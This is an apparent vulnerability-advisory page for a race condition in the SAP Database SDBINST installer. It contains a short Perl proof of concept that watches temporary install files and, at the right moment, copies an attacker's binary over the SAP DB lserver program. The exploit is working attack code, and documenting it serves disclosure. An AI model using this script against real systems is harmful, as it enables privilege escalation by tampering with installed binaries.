SAP Database SDBINST Race Condition Vulnerability

info
discussion
exploit
solution
references

SAP Database SDBINST Race Condition Vulnerability

The following proof of concept has been supplied:

#!/bin/perl

while (1) {

$test =`grep -sh PRECOM.ins
/tmp/sapdb-server-linux-32bit-i386-7_3_0_29/y/config/install/LIST*`;

if ( $test =~ /PRECOM/ ) {
system("cp /home/lwc/run /usr/sapdb/depend/pgm/lserver");
exit(1);
}

}